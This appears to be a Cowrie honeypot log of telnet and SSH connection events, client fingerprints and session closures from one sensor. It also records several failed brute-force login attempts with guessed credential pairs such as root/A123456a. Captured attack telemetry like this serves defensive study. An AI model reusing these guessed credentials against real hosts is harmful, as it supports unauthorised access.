{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54974,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e8ad6ca67a0","protocol":"telnet","message":"New connection: 159.223.86.167:54974 (159.203.135.109:23) [session: 9e8ad6ca67a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:10.327393Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef959966700d","protocol":"telnet","message":"New connection: 159.223.86.167:55636 (159.203.135.109:23) [session: ef959966700d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:10.521574Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33396,"dst_ip":"159.203.135.109","dst_port":23,"session":"a633f3a5ff27","protocol":"telnet","message":"New connection: 159.223.86.167:33396 (159.203.135.109:23) [session: a633f3a5ff27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:11.811118Z"}
{"eventid":"cowrie.session.closed","duration":30.513651847839355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.135524Z","src_ip":"155.117.234.131","session":"031e65900293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32878,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ccd9368a74b","protocol":"ssh","message":"New connection: 176.65.139.103:32878 (10.17.0.5:22) [session: 7ccd9368a74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.163153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.168358Z","src_ip":"176.65.139.103","session":"7ccd9368a74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.250402Z","src_ip":"176.65.139.103","session":"7ccd9368a74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.096151113510132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.404126Z","src_ip":"159.223.86.167","session":"f9eb77e83094","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.504391Z","src_ip":"176.65.139.103","session":"7ccd9368a74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37100,"dst_ip":"159.203.135.109","dst_port":23,"session":"b84e4f10f150","protocol":"telnet","message":"New connection: 159.223.86.167:37100 (159.203.135.109:23) [session: b84e4f10f150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:12.755302Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca45a3d30f72","protocol":"telnet","message":"New connection: 185.26.126.47:50948 (159.203.135.109:23) [session: ca45a3d30f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:13.015065Z"}
{"eventid":"cowrie.session.closed","duration":30.748008012771606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:13.078749Z","src_ip":"37.220.31.6","session":"bed2ee0a259f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74865484237671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:13.360200Z","src_ip":"159.223.86.167","session":"f018909b29de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:13.779541Z","src_ip":"176.65.139.103","session":"7ccd9368a74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.426892280578613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:13.931592Z","src_ip":"159.223.86.167","session":"5882901ac227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615519285202026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:14.474279Z","src_ip":"159.223.86.167","session":"f9a1c6bce506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.498725175857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:14.701939Z","src_ip":"159.223.86.167","session":"9d99178b18c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325498580932617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:15.264763Z","src_ip":"159.223.86.167","session":"c1b4bbd7e235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.571842432022095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:15.309677Z","src_ip":"213.136.75.179","session":"15e257832ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73432898521423,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:16.561395Z","src_ip":"213.136.75.179","session":"08207613f320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722584009170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:17.233274Z","src_ip":"159.223.86.167","session":"4e5e5c5b0955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.251.64.35","src_port":36945,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e358a47ad14","protocol":"telnet","message":"New connection: 176.251.64.35:36945 (10.17.0.5:23) [session: 4e358a47ad14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:17.388666Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a68f2b11a38","protocol":"ssh","message":"New connection: 176.65.139.103:58730 (10.17.0.5:22) [session: 0a68f2b11a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.191474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.196635Z","src_ip":"176.65.139.103","session":"0a68f2b11a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.615516185760498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.252120Z","src_ip":"159.223.86.167","session":"7f98df987cd5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.280167Z","src_ip":"176.65.139.103","session":"0a68f2b11a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.526002Z","src_ip":"176.65.139.103","session":"0a68f2b11a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"124bf839ab95","protocol":"telnet","message":"New connection: 213.136.75.179:50170 (10.17.0.5:23) [session: 124bf839ab95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.576395Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"9748b5b47a32","protocol":"telnet","message":"New connection: 159.223.86.167:33186 (159.203.135.109:23) [session: 9748b5b47a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.769337Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":50186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb5451675d9","protocol":"telnet","message":"New connection: 213.136.75.179:50186 (10.17.0.5:23) [session: 4bb5451675d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.848498Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":50192,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0ad32c6d62","protocol":"telnet","message":"New connection: 213.136.75.179:50192 (10.17.0.5:23) [session: 8f0ad32c6d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:18.887028Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35662,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbb52a47aa62","protocol":"telnet","message":"New connection: 159.223.86.167:35662 (159.203.135.109:23) [session: fbb52a47aa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:19.332504Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:19.698482Z","src_ip":"176.65.139.103","session":"0a68f2b11a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23376226425171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:20.163012Z","src_ip":"159.223.86.167","session":"68b8e190e3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39330,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa8adbca216a","protocol":"telnet","message":"New connection: 159.223.86.167:39330 (159.203.135.109:23) [session: fa8adbca216a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:20.303524Z"}
{"eventid":"cowrie.session.closed","duration":33.47196006774902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:20.690438Z","src_ip":"213.136.75.179","session":"50558d79f4a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.025925636291504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:20.958032Z","src_ip":"213.136.75.179","session":"4a5aceb74beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.759027242660522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:20.974239Z","src_ip":"213.136.75.179","session":"355bc1a7f97e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740127086639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:21.206265Z","src_ip":"159.223.86.167","session":"33f3e6a15b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97251915931702,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:21.561026Z","src_ip":"213.136.75.179","session":"64a774f39dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e4a757b08d6","protocol":"telnet","message":"New connection: 159.223.86.167:44250 (159.203.135.109:23) [session: 2e4a757b08d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:21.566474Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f08d1cb11bf","protocol":"telnet","message":"New connection: 159.223.86.167:44508 (159.203.135.109:23) [session: 4f08d1cb11bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:21.644229Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":46178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ac66a3b0ec","protocol":"telnet","message":"New connection: 159.223.86.167:46178 (159.203.135.109:23) [session: a0ac66a3b0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.008970Z"}
{"eventid":"cowrie.session.closed","duration":31.597914457321167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.071699Z","src_ip":"159.223.86.167","session":"32fe583a824a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37247943878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.186105Z","src_ip":"159.223.86.167","session":"7470879fe23f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88229441642761,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.550824Z","src_ip":"213.136.75.179","session":"77e9ae17640b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48604,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6e319239e76","protocol":"telnet","message":"New connection: 159.223.86.167:48604 (159.203.135.109:23) [session: f6e319239e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.568754Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49034,"dst_ip":"159.203.135.109","dst_port":23,"session":"257381fdd9ed","protocol":"telnet","message":"New connection: 159.223.86.167:49034 (159.203.135.109:23) [session: 257381fdd9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:22.696637Z"}
{"eventid":"cowrie.session.closed","duration":31.351025819778442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:23.262697Z","src_ip":"159.223.86.167","session":"db2bb46dac74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86841058731079,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:23.314576Z","src_ip":"213.136.75.179","session":"9d7716a44980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24751567840576,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:23.479035Z","src_ip":"213.136.75.179","session":"2a3ed22e0fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"04642345098a","protocol":"telnet","message":"New connection: 159.223.86.167:52930 (159.203.135.109:23) [session: 04642345098a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:23.588509Z"}
{"eventid":"cowrie.session.closed","duration":30.318166732788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.120985Z","src_ip":"159.223.86.167","session":"380aa1100f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134477376937866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.148515Z","src_ip":"159.223.86.167","session":"fe52e9d4aa64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34360,"dst_ip":"10.17.0.5","dst_port":22,"session":"f80c29f45229","protocol":"ssh","message":"New connection: 176.65.139.103:34360 (10.17.0.5:22) [session: f80c29f45229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.394404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.399132Z","src_ip":"176.65.139.103","session":"f80c29f45229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.481495Z","src_ip":"176.65.139.103","session":"f80c29f45229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9231698513031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.532782Z","src_ip":"159.223.86.167","session":"a5bd635b4d23","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:24.741104Z","src_ip":"176.65.139.103","session":"f80c29f45229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.98530411720276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:25.213376Z","src_ip":"213.136.75.179","session":"fc0a12baa26f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:25.845421Z","src_ip":"176.65.139.103","session":"f80c29f45229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36284,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5cadc9838b0","protocol":"telnet","message":"New connection: 159.223.86.167:36284 (159.203.135.109:23) [session: f5cadc9838b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:26.380800Z"}
{"eventid":"cowrie.session.closed","duration":31.666858196258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:26.910878Z","src_ip":"159.223.86.167","session":"1b30802b81a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44368,"dst_ip":"159.203.135.109","dst_port":23,"session":"90678cf3ab08","protocol":"telnet","message":"New connection: 159.223.86.167:44368 (159.203.135.109:23) [session: 90678cf3ab08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:28.223449Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54048,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a8fcedbc55","protocol":"telnet","message":"New connection: 213.136.75.179:54048 (10.17.0.5:23) [session: a7a8fcedbc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:28.369087Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54046,"dst_ip":"10.17.0.5","dst_port":23,"session":"05892f95f3f2","protocol":"telnet","message":"New connection: 213.136.75.179:54046 (10.17.0.5:23) [session: 05892f95f3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:28.765750Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.251.64.35","src_port":37114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31d66b1be2c","protocol":"telnet","message":"New connection: 176.251.64.35:37114 (10.17.0.5:23) [session: a31d66b1be2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:28.818641Z"}
{"eventid":"cowrie.session.closed","duration":33.127031326293945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:28.832053Z","src_ip":"159.223.86.167","session":"2b2ac6e7046a","protocol":"telnet"}
